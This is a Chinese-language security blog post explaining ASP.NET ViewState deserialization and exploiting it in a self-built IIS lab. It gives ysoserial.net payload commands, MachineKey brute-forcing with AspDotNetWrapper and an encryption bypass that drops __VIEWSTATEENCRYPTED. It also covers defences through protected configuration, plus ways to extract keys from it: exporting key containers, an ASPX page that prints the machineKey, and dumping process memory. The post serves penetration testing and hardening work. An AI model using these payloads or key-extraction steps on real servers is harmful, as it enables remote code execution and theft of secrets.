]]> Tue, 16 Mar 2021 18:01:00 +0800 .NET反序列化--VIEWSTATE https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247484032&idx=1&sn=248e68920844e2c5b68c4df519452803 .NET反序列化--VIEWSTATE~~~ 原创 零鉴科技 2021-03-01 18:46

.NET反序列化--VIEWSTATE~~~

.NET反序列化--VIEWSTATE



1.背景


    之前的渗透项目中，遇到过一些 IIS 站点，果不其然的都用了 VIEWSTATE，但是当时对 .NET 反序列化了解不够深入，没能利用成功，借这个机会系统学习一下 .NET 反序列化相关知识，做成一些记录。





2.相关介绍



2.1. VIEWSTATE机制

这里借来一张图：

这里通俗的解释一下：

    http 协议是无状态协议，每次请求之间都是独立的，为了让客户端和服务端之间能够相互“识别”（主要是服务端对客户端的“识别”），web 应用时常会采用诸如 cookie 或类似的机制来维护一个 session ，比如服务端保存 session 的状态信息，客户端通过 cookie 等标识来告诉服务端它对应的是哪个 session。

    ViewState 也是一种状态管理机制，只不过它的做法是在服务端将“session 状态”“序列化”，然后返回，交给客户端来保存了。具体的表现形式是：一次请求之后，服务端的返回中嵌入若干个隐藏的表单项，这些表单项的值序列化后的“session 状态”，在客户端下一次请求时，会自动带上这些表单项，服务端接收之后，反序列化对应的值就能恢复相应的“session 状态”，根据状态的不同，再做出相应的回应。

    ViewState 的优点就在于，节省了服务端对于保存和管理 session 状态的成本，不过却带来另一个问题是 ViewState 的“控制权”移交到了客户端这里，虽然有校验和加密机制，但是仍然存在密钥泄漏的风险，一旦通过了解密和验证，就会进入反序列化的流程，也就存在被恶意利用的风险。

我们可以在 web.config 中控制是否启用 ViewState

<pages     enableViewState="false" [Bool]    enableViewStateMac="false" [Bool]    viewStateEncryptionMode="Always" [Always | Auto | Never]/>


2.2 MACHINEKEY

上面说到了 ViewState 有校验和加密机制， MACHINEKEY 便是其加密、校验密钥相关的配置项。

<machineKey   validationKey="AutoGenerate,IsolateApps" [String]  decryptionKey="AutoGenerate,IsolateApps" [String]  validation="HMACSHA256" [SHA1 | MD5 | 3DES | AES | HMACSHA256 |     HMACSHA384 | HMACSHA512 | alg:algorithm_name]  decryption="Auto" [Auto | DES | 3DES | AES | alg:algorithm_name]/>



3.ViewState序列、加解密相关逻辑



ViewState 加密、校验的详细流程，已经有师傅做过非常深的研究，接下来将以这篇引文的研究成果作为根据来总结分析：

文章链接：https://paper.seebug.org/1386/

（文章非常详细深刻，如果对 ViewState 反序列化漏洞成因感兴趣的，建议阅读全文）


3.1. 序列化、反序列化逻辑

引文中有几个要点：

  1. ViewState 是被动解析的，也就是说，即使在 web.config 中配置 enableViewState 为 false，ASP.NET 服务端也始终会解析来自客户端的 ViewState 参数，换言之，enableViewState 只影响 ViewState 的生成，不影响服务端对其的被动解析；

  2. .NET Framwork 4.5.2 之后，微软强制开启了 ViewState Mac 校验，这样在默认情况下，就一定需要 MachineKey 才能对 ViewState 进行利用；

引文的精华是针对 ViewState 序列化、反序列化流程的详细分析，ViewState 的序列化和反序列化通过 ObjectStateFormatter 进行，在此用简陋的流程图对这一部分总结：

序列化：


辅以文字描述：

  • EncryptOrDecryptData() 为加密、解密函数，当配置文件中开启 viewStateEncryptionMode 选项时，会进入该函数。

  • GetEncodeData() 为签名函数，因为 KB2905247 补丁的关系，默认强制开启 ViewState MAC，这里有两种方法可以关闭：1. 修改对应的注册表项；2. 在 web.config 中开启允许不安全的反序列化。关闭 EnforceViewStateMac 的基础上，web.config 中 enableViewStataeMac 才能生效。

  • 值得注意的是 EncryptOrDecryptData() 不仅会加密，同时也会签名。

反序列化：

‍

‍（这里的 _page.EnableViewStateMac 来源同上面 “序列化” 部分，故省略）‍‍


文字描述：

  • _page.EnableViewStateMac 值的确定与上面的反序列化中介绍的相同，故在此图中省略，仍是受 EnforceViewStateMac 影响。

  • ASP.NET 判断 ViewState 是否加密的条件是请求中是否有 "__VIEWSTATEENCRYPTED" 项，某些情况下我们可以利用这一点来绕过加密。









3.2. 加密、解密以及签名、校验逻辑

具体算法并不是本文关注的重点，但是还是提取引文中的部分要点来作为知识点码一下：

  1. GetEncodedData() 签名函数，将数据签名并将签名数据放到原数据的尾部；特殊的，如果制定签名算法为 3DES 或 AES，还会再调用一个 EncryptOrDecryptData() 的重载，进行加密。

  2. EncryptOrDecryptData() 加、解密函数，但是同时还会做签名，最终的结果是：* E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) *结果在返回结果的 VIEWSTATE 字段中，而 modifier 在返回结果的 VIEWSTATEGENERATOR 中

  3. GetDecodedData() 校验函数，跟 GetEncodedData() 相反。

  4. modifier 来自于 GetMacKeyModifier() 函数：

    1. 如果有 viewStateUserKey，则 modifier = pageHashCode + ViewStateUsereKey;

    2. 如果没有 viewStateUserKey，则 modifier = pageHashCode；

    3. ViewStateUsereKey 是一个随机字符串值，且与用户有某种关联。



4.模拟环境测试



上面说了对于 ViewState 的“保护”包括：校验、加密，针对不同的组合，有不同的策略

测试环境：window server 2016

因为这里更多的是测试 VIEWSTATE 反序列化的效果，所以为了方便测试以及更直观地展示结果，这里我把 IIS 的应用程序池权提高到 local system，方法如下：

上文提到了，微软现在默认强制开启 ViewState MAC ，所以要在配置文件中将该项关掉，当然修改注册表项可以达到同样的效果：

方法1: 在 web.config 中添加：

<appSettings>    <add key="aspnet:AllowInsecureDeserialization" value="true" /></appSettings>

方法2: 修改注册表：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v{VersionHere}\AspNetEnforceViewStateMac 的值为 0

之后再借用一个简单文件上传的 web 应用页面来进行测试：

然后测试环境就搭建好了。

以下测试部分参考了：https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter

这篇文章有比较清晰的测试思路，并且提供了一个可以用来爆破枚举 MachineKey 的工具。

https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper











4.1. testCase-1 不签名、不加密

web.config 配置启用 ViewState，但是不启用 Mac 验证和加密

<configuration>    <system.web>        <pages             enableViewState="true"             enableViewStateMac="false"             viewStateEncryptionMode="Never"         />        <customErrors mode="Off"/>    </system.web>    <appSettings>        <add key="aspnet:AllowInsecureDeserialization" value="true" />    </appSettings></configuration>

此时去访问对应的页面，会发现页面返回了一些隐藏的表单项，其中 __VIEWSTATE 项为序列化后的值，也就是我们利用的目标。

burpsuite 自带解析 ViewState 的功能，从 reponse 中能看到对应的信息，同时也会提示当前 ViewState 的状态（是否开启 MAC 或者 是否加密），如当前页面的 ViewState 没有开启 MAC

对于没有任何保护的 ViewState ，可以直接使用 ysoserial.net 来生成 payload

ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo test1 > C:\temptest\test1.txt"

再构造一个正常的请求，将其中的 __VIEWSTATE 字段替换为生成的 payload:

页面返回 500 ，检查命令执行是否成功

执行成功











4.2. testCase2 签名、不加密

如果开启签名，那么服务端返回的数据就会在尾部带有校验信息，在不知道 MachineKey 的情况下，我们无法使我们的 paylaod 通过校验，也就无法触发反序列化，除非利用别的方法得到了 MachineKey，那么就得通过爆破枚举的方式来得到。

利用上文提到的工具 AspDotNetWrapper 来爆破 MachineKey，为了验证它的效果，这里在配置的时候挑选一个已经在字典中的 MachineKey 来进行测试。（这里仅为验证工具效果，真实环境中往往很难爆破到 MachineKey）

web.config:

<configuration>    <system.web>        <pages             enableViewState="true"             enableViewStateMac="true"             viewStateEncryptionMode="Never"         />        <customErrors mode="Off"/>        <machineKey            validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"            decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"            validation="SHA1"            decryption="AES"        />    </system.web>    <appSettings>        <add key="aspnet:AllowInsecureDeserialization" value="true" />    </appSettings></configuration>

此时再去访问页面，burpsuite 已经提示 ViewState 开启了MAC 校验

接着来试一下爆破的 MachineKey 的效果：

返回的 ViewState:

交给程序来跑：

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUJMjM0MDYzMjM2D2QWAgIDDxYCHgdlbmN0eXBlBRNtdWx0aXBhcnQvZm9ybS1kYXRhFgICAQ8PFgIeBFRleHQFE0M6XGluZXRwdWJcd3d3cm9vdFxkZGR1W+BiwusT65xqg+ZK+LsGaACy1w== --decrypt --purpose=ViewState --modifier=69164837 --macdecode

程序通过枚举，得到了 MachineKey。

然后 ysoserial 生成对应的 payload

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test2 > C:\temptest\test2.txt" --generator=69164837 --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"

验证结果：

执行成功











4.3. testCase3 加密（.NET Framwork < 4.5）

上文提到过 EncryptOrDecryptData() 函数也会进行校验，所以对于开启了加密的 ViewState，那么他一定也是进行了校验的。

遗憾的是，AspDotNetWrapper 无法爆破 .NET Framwork < 4.5 下加密的 ViewState。

不过上文还说到，ASP.NET 是根据请求头中是否包含 __VIEWSTATEENCRYPTED 项来判断是否加密的，那么如果我们请求时不带这个参数，ASP.NET 也就不会尝试去解密。这时如果我们已知 MachineKey（暂时我们没办法通过爆破来获取，仅能通过别的途径拿到），可以在构造 paylaod 时不考虑加密。

web.config 开启加密

<configuration>    <system.web>        <pages             enableViewState="true"             enableViewStateMac="true"             viewStateEncryptionMode="Always"         />        <customErrors mode="Off"/>        <machineKey            validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"            decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"            validation="SHA1"            decryption="AES"        />    </system.web>    <appSettings>        <add key="aspnet:AllowInsecureDeserialization" value="true" />    </appSettings></configuration>

此时再去访问页面，burpsuite 提示 ViewState 被加密了

假设我们已经知道了 MachineKey（事实上我们一直都知道），只利用 validationkey，不管加密地去构造 payload

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test3 > C:\temptest\test3.txt" --generator=69164837 --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"

然后在构造的 POST 请求中删除 __VIEWSTATEENCRYPTED 参数。


验证结果：

执行成功











4.4. testCase4 加密（.NET Framwork >= 4.5)

如果使用 .NET Framwork 4.5 以上的加密方法，在实验过程中发现已经无法像 testCase3 中那样删除 __VIEWSTATEENCRYPTED 来绕过加密验证了，不过 AspDotNetWrapper 却支持这种情况下的 MachineKey 爆破

（测试环境下，可以通过设置 MachineKey 的兼容性参数，来强制使用 4.5 以上的加密方法）

web.config

<configuration>    <system.web>        <pages             enableViewState="true"             enableViewStateMac="true"             viewStateEncryptionMode="Always"         />        <customErrors mode="Off"/>        <machineKey            validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"            decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"            validation="SHA1"            decryption="AES"            compatibilityMode="Framework45"        />    </system.web>    <appSettings>        <add key="aspnet:AllowInsecureDeserialization" value="true" />    </appSettings></configuration>

尝试使用爆破 MachineKey:

页面返回的 ViewState 相关表单：

爆破 MachineKey

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata A8e/FkDU5napMoKJ/CkyFhmPlosC4OmRfeFCcBV0q1LN//avhGcA7Vr/utvWc4Y3A/5tnJjeA3rbFf8SLPFDuuP++lbLTsPIYjryerxt6iR9qYwdYc5h7+Qldb37uY13L0UDmYE+k2TuOdL2Pixjy450o8uj13ebUbNHQCh5Ak+b1IB8 --decrypt --purpose=ViewState --IISDirPath "/" --TargetPagePath "/upload.aspx"

然后再使用 ysoserial.net 生成 payload，来验证我们这种情况下能否利用成功。

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test4 > C:\temptest\test4.txt" --apppath="/" --path="/upload.aspx" --decryptionalg="AES" --decryptionkey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4" --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"

验证结果：

执行成功


5.防御



上面说了这么多，得到一个中心思想，如果网站一定要使用 ViewState 作为状态控制的话，除了要开启验证和加密以外，还要格外注意保护好 MachineKey ，或者说注意保护好配置文件如 web.config。

比如，如果站点还存在其他漏洞如文件包含、任意文件读取等，那么 web.config 的内容存在泄漏的风险，参考 HITCON CTF 2018 - Why so Serials? 中的情景。    

不过 ASP.NET 提供了一种辅助机制，可以用来加密 web.config，包括加密其中的 MachineKey 字段等。

5.1 Protected Configuration

摘自官方介绍的一段话：

.NET Framework 包括两个受保护的配置提供程序，可用于对配置文件中的节进行加密。RsaProtectedConfigurationProvider类使用 RSACryptoServiceProvider 来加密配置节。DpapiProtectedConfigurationProvider类使用 Windows 数据保护 API （DPAPI）来加密配置节。可能要求使用 RSA 或 DPAPI 提供程序以外的算法来加密敏感信息。在这种情况下，您可以生成自己的自定义受保护的配置提供程序。ProtectedConfigurationProvider是一个抽象基类，你必须从继承该类以创建你自己的受保护配置提供程序。

我们可以使用现成的加密方法来对配置进行加密，甚至可以自己来写一个独有的加密算法。

官方介绍：

https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100)

https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0

以 RsaProtectedConfigurationProvider 为例，对 web 应用程序配置文件进行加密大概分为以下流程（仅供参考）：

  1. 创建 RSA key container(machine-level):

    aspnet_regiis -pc "SampleKeys" –exp

  2. 将 key container 的访问权限赋给 web 应用的“所有者”

    aspnet_regiis -pa "SampleKeys" "NT AUTHORITY\NETWORK SERVICE"

  3. 使用 key container 对指定的配置文件中的节加密（如果没有用 -prov 指定 provider 则默认为 RsaProtectedConfigurationProvider）

    aspnet_regiis -pe "connectionStrings" -app "/MyApplication"

官方文档的介绍中，还有一些点值得关注：

  1. key container 可以被导入、导出、删除、转移，只要保证使用的算法标准相同，key container 和 已加密的配置文件就可以一起迁移到另一台机器上；

  2. Protected Configuration 的意义在于保护配置文件中的敏感信息不以明文直接保存，但是当应用程序实例被创建时，解密后的配置文件信息还是会被装载到内存中，可以保证被 ASP.NET 程序读取。

解密思路：

这种保护措施一定程度上提高了 web 应用对于外部入侵的防护能力，不过攻击者还可能从从另外的途径进入，那么仍然可以利用上面提到的特性破解

大致有三种方式：

导出密钥容器并在另一台完全可控的计算机上破解：

  1. 导出 key container

    aspnet_regiis -px "SampleKeys" keys.xml -pri

  2. 导入 key container 到另一台计算机

    aspnet_regiis -pi "SampleKeys" keys.xml

  3. 拷贝待解密的配置文件到本地的 web 目录，然后进行解密

    aspnet_regiis -pd "connectionStrings" -app "/TempApplication"

在对方机器上解密：

在一个可以解析 asp.net 应用程序的位置，或者在对应的 web 目录下写入一个 asp、aspx 脚本，脚本的内容为读取相关配置参数，也可以直接读出相应的配置，以官方提供的脚本为例：

<%@ Page Language="VB" %><%@ Import Namespace="System.Configuration" %><%@ Import Namespace="System.Web.Configuration" %><script runat="server">
Public Sub Page_Load()
  ConnectionStringsGrid.DataSource = ConfigurationManager.ConnectionStrings  ConnectionStringsGrid.DataBind()
  Dim config As System.Configuration.Configuration = _    WebConfigurationManager.OpenWebConfiguration(Request.ApplicationPath)  Dim key As MachineKeySection = _    CType(config.GetSection("system.web/machineKey"), MachineKeySection)  DecryptionKey.Text = key.DecryptionKey  ValidationKey.Text = key.ValidationKey
End Sub</script><html>
<body>
<form runat="server">
  <asp:GridView runat="server" CellPadding="4" id="ConnectionStringsGrid" />  <P>  MachineKey.DecryptionKey = <asp:Label runat="Server" id="DecryptionKey" /><BR>  MachineKey.ValidationKey = <asp:Label runat="Server" id="ValidationKey" />
</form>
</body></html>

参考自：https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)

终极方案

使用 procdump 等 dump 对应进程的内存，从内存中找到我们想要的字段的值，这里就不做展示了。



参考链接






本文中提到或引用的文章参考链接：

https://paper.seebug.org/1386/ https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100) https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0 https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)






阅读原文

跳转微信打开

]]> Mon, 01 Mar 2021 18:46:00 +0800